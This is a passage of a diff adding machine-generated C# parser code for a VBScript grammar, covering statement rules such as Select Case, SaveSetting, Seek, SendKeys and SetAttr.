2040; + Match(WS); + State = 2041; + implicitCallStmt_InStmt(); + State = 2043; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2042; + Match(WS); + } + } + + State = 2045; + Match(EQ); + State = 2047; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,314,Context) ) { + case 1: + { + State = 2046; + Match(WS); + } + break; + } + State = 2049; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SavepictureStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVEPICTURE() { return GetToken(VBScriptParser.SAVEPICTURE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SavepictureStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_savepictureStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSavepictureStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSavepictureStmt(this); + } + } + + [RuleVersion(0)] + public SavepictureStmtContext savepictureStmt() { + SavepictureStmtContext _localctx = new SavepictureStmtContext(Context, State); + EnterRule(_localctx, 198, RULE_savepictureStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2051; + Match(SAVEPICTURE); + State = 2052; + Match(WS); + State = 2053; + valueStmt(0); + State = 2055; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2054; + Match(WS); + } + } + + State = 2057; + Match(COMMA); + State = 2059; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,316,Context) ) { + case 1: + { + State = 2058; + Match(WS); + } + break; + } + State = 2061; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SaveSettingStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVESETTING() { return GetToken(VBScriptParser.SAVESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public SaveSettingStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_saveSettingStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSaveSettingStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSaveSettingStmt(this); + } + } + + [RuleVersion(0)] + public SaveSettingStmtContext saveSettingStmt() { + SaveSettingStmtContext _localctx = new SaveSettingStmtContext(Context, State); + EnterRule(_localctx, 200, RULE_saveSettingStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2063; + Match(SAVESETTING); + State = 2064; + Match(WS); + State = 2065; + valueStmt(0); + State = 2067; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2066; + Match(WS); + } + } + + State = 2069; + Match(COMMA); + State = 2071; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,318,Context) ) { + case 1: + { + State = 2070; + Match(WS); + } + break; + } + State = 2073; + valueStmt(0); + State = 2075; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2074; + Match(WS); + } + } + + State = 2077; + Match(COMMA); + State = 2079; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,320,Context) ) { + case 1: + { + State = 2078; + Match(WS); + } + break; + } + State = 2081; + valueStmt(0); + State = 2083; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2082; + Match(WS); + } + } + + State = 2085; + Match(COMMA); + State = 2087; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,322,Context) ) { + case 1: + { + State = 2086; + Match(WS); + } + break; + } + State = 2089; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SeekStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEEK() { return GetToken(VBScriptParser.SEEK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SeekStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_seekStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSeekStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSeekStmt(this); + } + } + + [RuleVersion(0)] + public SeekStmtContext seekStmt() { + SeekStmtContext _localctx = new SeekStmtContext(Context, State); + EnterRule(_localctx, 202, RULE_seekStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2091; + Match(SEEK); + State = 2092; + Match(WS); + State = 2093; + valueStmt(0); + State = 2095; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2094; + Match(WS); + } + } + + State = 2097; + Match(COMMA); + State = 2099; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,324,Context) ) { + case 1: + { + State = 2098; + Match(WS); + } + break; + } + State = 2101; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SelectCaseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SELECT() { return GetToken(VBScriptParser.SELECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CASE() { return GetToken(VBScriptParser.CASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_SELECT() { return GetToken(VBScriptParser.END_SELECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public SC_CaseContext[] sC_Case() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public SC_CaseContext sC_Case(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public SelectCaseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_selectCaseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSelectCaseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSelectCaseStmt(this); + } + } + + [RuleVersion(0)] + public SelectCaseStmtContext selectCaseStmt() { + SelectCaseStmtContext _localctx = new SelectCaseStmtContext(Context, State); + EnterRule(_localctx, 204, RULE_selectCaseStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2103; + Match(SELECT); + State = 2104; + Match(WS); + State = 2105; + Match(CASE); + State = 2106; + Match(WS); + State = 2107; + valueStmt(0); + State = 2109; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2108; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2111; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + State = 2116; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==CASE) { + { + { + State = 2113; + sC_Case(); + } + } + State = 2118; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 2120; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2119; + Match(WS); + } + } + + State = 2122; + Match(END_SELECT); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SC_CaseContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CASE() { return GetToken(VBScriptParser.CASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public SC_CondContext sC_Cond() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public SC_CaseContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sC_Case; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSC_Case(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSC_Case(this); + } + } + + [RuleVersion(0)] + public SC_CaseContext sC_Case() { + SC_CaseContext _localctx = new SC_CaseContext(Context, State); + EnterRule(_localctx, 206, RULE_sC_Case); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2124; + Match(CASE); + State = 2126; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,328,Context) ) { + case 1: + { + State = 2125; + Match(WS); + } + break; + } + State = 2128; + sC_Cond(); + State = 2130; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,329,Context) ) { + case 1: + { + State = 2129; + Match(WS); + } + break; + } + State = 2135; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,330,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2132; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + } + State = 2137; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,330,Context); + } + State = 2144; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,332,Context) ) { + case 1: + { + State = 2138; + block(); + State = 2140; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2139; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2142; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SC_CondContext : ParserRuleContext { + public SC_CondContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sC_Cond; } } + + public SC_CondContext() { } + public virtual void CopyFrom(SC_CondContext context) { + base.CopyFrom(context); + } + } + public partial class CaseCondExprContext : SC_CondContext { + [System.Diagnostics.DebuggerNonUserCode] public SC_CondExprContext[] sC_CondExpr() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public SC_CondExprContext sC_CondExpr(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public CaseCondExprContext(SC_CondContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExpr(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExpr(this); + } + } + public partial class CaseCondElseContext : SC_CondContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSE() { return GetToken(VBScriptParser.ELSE, 0); } + public CaseCondElseContext(SC_CondContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondElse(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondElse(this); + } + } + + [RuleVersion(0)] + public SC_CondContext sC_Cond() { + SC_CondContext _localctx = new SC_CondContext(Context, State); + EnterRule(_localctx, 208, RULE_sC_Cond); + int _la; + try { + int _alt; + State = 2161; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ELSE: + _localctx = new CaseCondElseContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 2146; + Match(ELSE); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + case DOT: + case EXCLAMATIONMARK: + case LPAREN: + case MINUS: + case PLUS: + case L_SQUARE_BRACKET: + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case INTEGERLITERAL: + case DOUBLELITERAL: + case FILENUMBER: + case OCTALLITERAL: + case IDENTIFIER: + case WS: + _localctx = new CaseCondExprContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 2147; + sC_CondExpr(); + State = 2158; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,335,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2149; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2148; + Match(WS); + } + } + + State = 2151; + Match(COMMA); + State = 2153; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,334,Context) ) { + case 1: + { + State = 2152; + Match(WS); + } + break; + } + State = 2155; + sC_CondExpr(); + } + } + } + State = 2160; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,335,Context); + } + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SC_CondExprContext : ParserRuleContext { + public SC_CondExprContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sC_CondExpr; } } + + public SC_CondExprContext() { } + public virtual void CopyFrom(SC_CondExprContext context) { + base.CopyFrom(context); + } + } + public partial class CaseCondExprValueContext : SC_CondExprContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public CaseCondExprValueContext(SC_CondExprContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExprValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExprValue(this); + } + } + public partial class CaseCondExprIsContext : SC_CondExprContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ComparisonOperatorContext comparisonOperator() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public CaseCondExprIsContext(SC_CondExprContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExprIs(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExprIs(this); + } + } + public partial class CaseCondExprToContext : SC_CondExprContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public CaseCondExprToContext(SC_CondExprContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExprTo(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExprTo(this); + } + } + + [RuleVersion(0)] + public SC_CondExprContext sC_CondExpr() { + SC_CondExprContext _localctx = new SC_CondExprContext(Context, State); + EnterRule(_localctx, 210, RULE_sC_CondExpr); + int _la; + try { + State = 2180; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,339,Context) ) { + case 1: + _localctx = new CaseCondExprIsContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 2163; + Match(IS); + State = 2165; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2164; + Match(WS); + } + } + + State = 2167; + comparisonOperator(); + State = 2169; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,338,Context) ) { + case 1: + { + State = 2168; + Match(WS); + } + break; + } + State = 2171; + valueStmt(0); + } + break; + case 2: + _localctx = new CaseCondExprValueContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 2173; + valueStmt(0); + } + break; + case 3: + _localctx = new CaseCondExprToContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 2174; + valueStmt(0); + State = 2175; + Match(WS); + State = 2176; + Match(TO); + State = 2177; + Match(WS); + State = 2178; + valueStmt(0); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SendkeysStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SENDKEYS() { return GetToken(VBScriptParser.SENDKEYS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SendkeysStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sendkeysStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSendkeysStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSendkeysStmt(this); + } + } + + [RuleVersion(0)] + public SendkeysStmtContext sendkeysStmt() { + SendkeysStmtContext _localctx = new SendkeysStmtContext(Context, State); + EnterRule(_localctx, 212, RULE_sendkeysStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2182; + Match(SENDKEYS); + State = 2183; + Match(WS); + State = 2184; + valueStmt(0); + State = 2193; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,342,Context) ) { + case 1: + { + State = 2186; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2185; + Match(WS); + } + } + + State = 2188; + Match(COMMA); + State = 2190; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,341,Context) ) { + case 1: + { + State = 2189; + Match(WS); + } + break; + } + State = 2192; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SetattrStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SETATTR() { return GetToken(VBScriptParser.SETATTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SetattrStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_setattrStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSetattrStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSetattrStmt(this); + } + } + + [RuleVersion(0)] + public SetattrStmtContext setattrStmt() { + SetattrStmtContext _localctx = new SetattrStmtContext(Context, State); + EnterRule(_localctx, 214, RULE_setattrStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2195; + Match(SETATTR); + State = 2196; + Match(WS); + State = 2197; + valueStmt(0); + State = 2199; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2198; + Match(WS); + } 